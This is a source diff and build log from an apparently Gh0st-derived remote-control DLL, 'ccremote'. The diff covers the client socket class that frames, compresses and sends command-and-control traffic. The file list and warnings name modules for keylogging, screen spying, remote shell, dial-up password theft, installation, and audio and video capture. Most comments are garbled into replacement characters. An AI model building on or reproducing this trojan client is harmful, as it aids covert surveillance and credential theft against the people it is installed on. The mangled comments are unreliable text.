while (pThis->IsRunning()) //---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD> û<><C3BB><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD>һֱ<D2BB><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD><EFBFBD>У<EFBFBD><EFBFBD>ж<EFBFBD><EFBFBD>Ƿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD>״̬
{
fd_set fdRead = fdSocket;
int nRet = select(NULL, &fdRead, NULL, NULL, NULL); //---<2D><><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>Ͽ<EFBFBD><CFBF><EFBFBD><EFBFBD><EFBFBD>
if (nRet == SOCKET_ERROR)
if (nRet == SOCKET_ERROR)
{
pThis->Disconnect();
pThis->Disconnect();//<2F>Ͽ<EFBFBD><CFBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
break;
}
if (nRet > 0)
@@ -284,7 +284,9 @@ bool CClientSocket::IsRunning()
return m_bIsRunning;
}
void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize )
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
void CClientSocket::OnRead(LPBYTE lpBuffer, DWORD dwIoSize)
{
try
{
@@ -304,7 +306,7 @@ void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize )
// Dont forget there could be a partial, 1, 1 or more + partial mesages
m_CompressionBuffer.Write(lpBuffer, dwIoSize);
// Check real Data
//--- <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>С <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǾͲ<C7BE><CDB2><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
while (m_CompressionBuffer.GetBufferLen() > HDR_SIZE)
@@ -314,19 +316,19 @@ void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize )
//---<2D>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><ECBAAF><EFBFBD><EFBFBD> g h 0 s t <20><><EFBFBD>ض<EFBFBD>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag)) != 0)
throw "bad buffer";
int nSize = 0;
CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(int));
//--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD>
//--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD>
if (nSize && (m_CompressionBuffer.GetBufferLen()) >= nSize)
{
int nUnCompressLength = 0;
//---<2D>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// Read off header
m_CompressionBuffer.Read((PBYTE) bPacketFlag, sizeof(bPacketFlag));
m_CompressionBuffer.Read((PBYTE) &nSize, sizeof(int));
m_CompressionBuffer.Read((PBYTE) &nUnCompressLength, sizeof(int));
m_CompressionBuffer.Read((PBYTE)bPacketFlag, sizeof(bPacketFlag));
m_CompressionBuffer.Read((PBYTE)&nSize, sizeof(int));
m_CompressionBuffer.Read((PBYTE)&nUnCompressLength, sizeof(int));
////////////////////////////////////////////////////////
////////////////////////////////////////////////////////
// SO you would process your data here
@@ -335,12 +337,12 @@ void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize )
int nCompressLength = nSize - HDR_SIZE;
PBYTE pData = new BYTE[nCompressLength];
PBYTE pDeCompressionData = new BYTE[nUnCompressLength];
if (pData == NULL || pDeCompressionData == NULL)
throw "bad Allocate";
m_CompressionBuffer.Read(pData, nCompressLength);
//////////////////////////////////////////////////////////////////////////
//---<2D><><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ض<EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD> <20><><EFBFBD>ǽ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>½<EFBFBD><C2BD><EFBFBD>
unsigned long destLen = nUnCompressLength;
@@ -356,13 +358,14 @@ void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize )
else
throw "bad buffer";
delete [] pData;
delete [] pDeCompressionData;
delete[] pData;
delete[] pDeCompressionData;
}
else
break;
}
}catch(...)
}
catch (...)
{
m_CompressionBuffer.ClearBuffer();
Send(NULL, 0);
@@ -370,27 +373,46 @@ void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize )
}
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
void CClientSocket::Disconnect()
{
//
// If we're supposed to abort the connection, set the linger value
// on the socket to 0.
//
LINGER lingerStruct;
lingerStruct.l_onoff = 1;
lingerStruct.l_linger = 0;
setsockopt(m_Socket, SOL_SOCKET, SO_LINGER, (char *)&lingerStruct, sizeof(lingerStruct) );
// If we're supposed to abort the connection, set the linger value
// on the socket to 0.
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>ֹ<EFBFBD><D6B9><EFBFBD>ӣ<EFBFBD><D3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>lingerֵ
LINGER lingerStruct;
lingerStruct.l_onoff = 1;
lingerStruct.l_linger = 0;
/*<2A><><EFBFBD><EFBFBD><EFBFBD>׽<EFBFBD>ѡ<EFBFBD><D1A1>
setsockopt(
int socket, // <20><><EFBFBD><EFBFBD>socket<65><74><EFBFBD>׽<EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int level, // <20>ڶ<EFBFBD><DAB6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>level<65>DZ<EFBFBD><C7B1><EFBFBD><EFBFBD>õ<EFBFBD>ѡ<EFBFBD><D1A1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>׽<EFBFBD><D7BD>ּ<EFBFBD><D6BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><EFBFBD>ͱ<EFBFBD><CDB1><EFBFBD><EFBFBD><EFBFBD>level<65><6C><EFBFBD><EFBFBD>Ϊ SOL_SOCKET
int option_name, // option_nameָ<65><D6B8>׼<EFBFBD><D7BC><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>ѡ<EFBFBD><EFBFBD><EEA3AC>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>level
// SO_LINGER<45><52><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>, close<73><65> shutdown<77><6E><EFBFBD>ȵ<EFBFBD><C8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>׽<EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŷӵ<C5B6><D3B5><EFBFBD>Ϣ<EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD>ͻ򵽴<CDBB><F2B5BDB4>ӳ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD>Ż᷵<C5BB><E1B7B5>. <20><><EFBFBD><EFBFBD>, <20><><EFBFBD>ý<EFBFBD><C3BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ء<EFBFBD>
<09><>ѡ<EFBFBD><D1A1><EFBFBD>IJ<EFBFBD><C4B2><EFBFBD><EFBFBD><EFBFBD>option_value)<29><>һ<EFBFBD><D2BB>linger<65><EFBFBD><E1B9B9>
struct linger {
int l_onoff;
int l_linger;
};
<09><><EFBFBD><EFBFBD>linger.l_onoffֵΪ0(<28>رգ<D8B1><D5A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> sock->sk->sk_flag<61>е<EFBFBD>SOCK_LINGERλ<52><CEBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ø<EFBFBD>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>sk->sk_lingertimeֵΪ linger.l_linger<65><72>
const void *option_value, //LINGER<45>
size_t ption_len //LINGER<45><52>С
);
*/
setsockopt(m_Socket, SOL_SOCKET, SO_LINGER, (char *)&lingerStruct, sizeof(lingerStruct));
CancelIo((HANDLE) m_Socket);
//ȡ<><C8A1><EFBFBD>ɵ<EFBFBD><C9B5><EFBFBD><EFBFBD>߳<EFBFBD>Ϊָ<CEAA><D6B8><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>I / O<><4F><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><C3B9>ܲ<EFBFBD><DCB2><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>Ϊ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>I / O<><4F><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CancelIo((HANDLE)m_Socket);
//ԭ<>Ӳ<EFBFBD><D3B2><EFBFBD>
InterlockedExchange((LPLONG)&m_bIsRunning, false);
closesocket(m_Socket);
SetEvent(m_hEvent);
// <20><><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD>״̬Ϊ<CCAC>б<EFBFBD><D0B1>ǣ<EFBFBD><C7A3>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><C8B4>̡߳<DFB3>
SetEvent(m_hEvent);
//INVALID_SOCKET<45><54><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>׽<EFBFBD><D7BD><EFBFBD>
m_Socket = INVALID_SOCKET;
}
int CClientSocket::Send( LPBYTE lpData, UINT nSize )
int CClientSocket::Send(LPBYTE lpData, UINT nSize)
{
m_WriteBuffer.ClearBuffer();
@@ -398,39 +420,39 @@ int CClientSocket::Send( LPBYTE lpData, UINT nSize )
if (nSize > 0)
{
// Compress data
unsigned long destLen = (double)nSize * 1.001 + 12;
unsigned long destLen = (double)nSize * 1.001 + 12;
LPBYTE pDest = new BYTE[destLen];
if (pDest == NULL)
return 0;
int nRet = compress(pDest, &destLen, lpData, nSize);
if (nRet != Z_OK)
{
delete [] pDest;
delete[] pDest;
return -1;
}
//////////////////////////////////////////////////////////////////////////
LONG nBufLen = destLen + HDR_SIZE;
// 5 bytes packet flag
m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
// 4 byte header [Size of Entire Packet]
m_WriteBuffer.Write((PBYTE) &nBufLen, sizeof(nBufLen));
m_WriteBuffer.Write((PBYTE)&nBufLen, sizeof(nBufLen));
// 4 byte header [Size of UnCompress Entire Packet]
m_WriteBuffer.Write((PBYTE) &nSize, sizeof(nSize));
m_WriteBuffer.Write((PBYTE)&nSize, sizeof(nSize));
// Write Data
m_WriteBuffer.Write(pDest, destLen);
delete [] pDest;
delete[] pDest;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٱ<EFBFBD><D9B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><>Ϊ<EFBFBD>п<EFBFBD><D0BF><EFBFBD><EFBFBD><EFBFBD>m_ResendWriteBuffer<65><72><EFBFBD><EFBFBD><EFBFBD>ڷ<EFBFBD><DAB7><EFBFBD>,<2C><><EFBFBD>Բ<EFBFBD>ֱ<EFBFBD><D6B1>д<EFBFBD><D0B4>
LPBYTE lpResendWriteBuffer = new BYTE[nSize];
CopyMemory(lpResendWriteBuffer, lpData, nSize);
m_ResendWriteBuffer.ClearBuffer();
m_ResendWriteBuffer.Write(lpResendWriteBuffer, nSize); // <20><><EFBFBD>ݷ<EFBFBD><DDB7>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
if (lpResendWriteBuffer)
delete [] lpResendWriteBuffer;
delete[] lpResendWriteBuffer;
}
else // Ҫ<><D2AA><EFBFBD>ط<EFBFBD>, ֻ<><D6BB><EFBFBD><EFBFBD>FLAG
{
@@ -463,7 +485,7 @@ int CClientSocket::SendWithSplit(LPBYTE lpData, UINT nSize, UINT nSplitSize)
}
if (i == nSendRetry)
return -1;
nSend += nRet;
pbuf += nSplitSize;
Sleep(10); // <20><>Ҫ<EFBFBD><D2AA>Sleep,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD><C6B6><EFBFBD><EFBFBD>ݻ<EFBFBD><DDBB><EFBFBD>
@@ -487,13 +509,13 @@ int CClientSocket::SendWithSplit(LPBYTE lpData, UINT nSize, UINT nSplitSize)
return SOCKET_ERROR;
}
void CClientSocket::setManagerCallBack( CManager *pManager )
void CClientSocket::setManagerCallBack(CManager *pManager)
{
m_pManager = pManager;
}
void CClientSocket::setGlobalProxyOption( int nProxyType /*= PROXY_NONE*/, LPCTSTR lpszProxyHost /*= NULL*/,
UINT nProxyPort /*= 1080*/, LPCTSTR lpszUserName /*= NULL*/, LPCSTR lpszPassWord /*= NULL*/ )
void CClientSocket::setGlobalProxyOption(int nProxyType /*= PROXY_NONE*/, LPCTSTR lpszProxyHost /*= NULL*/,
UINT nProxyPort /*= 1080*/, LPCTSTR lpszUserName /*= NULL*/, LPCSTR lpszPassWord /*= NULL*/)
{
memset(m_strProxyHost, 0, sizeof(m_strProxyHost));
memset(m_strUserName, 0, sizeof(m_strUserName));
@@ -509,4 +531,3 @@ void CClientSocket::setGlobalProxyOption( int nProxyType /*= PROXY_NONE*/, LPCTS
if (m_strPassWord != NULL)
lstrcpy(m_strPassWord, lpszPassWord);
}

View File

@@ -1,19 +1,34 @@
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\vc141.idb
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\pch.obj
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\until.obj
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\buffer.obj
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\clientsocket.obj
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj
g:\ccremote\ccremote\ccmaindll\debug\ccmaindll.pdb
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link-cvtres.read.1.tlog
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link-cvtres.write.1.tlog
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link-rc.read.1.tlog
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link-rc.write.1.tlog
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.idb
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\pch.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audio.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\until.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\buffer.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\clientsocket.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videomanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videocap.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\systemmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\shellmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenspy.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regeditex.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\manager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\keyboardmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\kernelmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\install.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dialupass.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audiomanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\filemanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj
f:\myapp\ccremote\ccmaindll\debug\ccmaindll.pdb
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link-cvtres.read.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link-cvtres.write.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link-rc.read.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link-rc.write.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog

View File

@@ -1,23 +1,103 @@
 pch.cpp
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
pch.cpp
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
Audio.cpp
f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
ClientSocket.cpp
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(70): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(72): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(208): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(322): warning C4018: “>=”: 有符号/无符号不匹配
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(401): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(456): warning C4018: “>=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(69): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(71): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(207): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(324): warning C4018: “>=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(423): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(478): warning C4018: “>=”: 有符号/无符号不匹配
Buffer.cpp
until.cpp
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
正在生成代码...
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
AudioManager.cpp
Dialupass.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(139): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(143): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(147): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(208): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
install.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(7): warning C4101: “Desc”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(120): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(121): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
KernelManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
KeyboardManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
Manager.cpp
RegEditEx.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
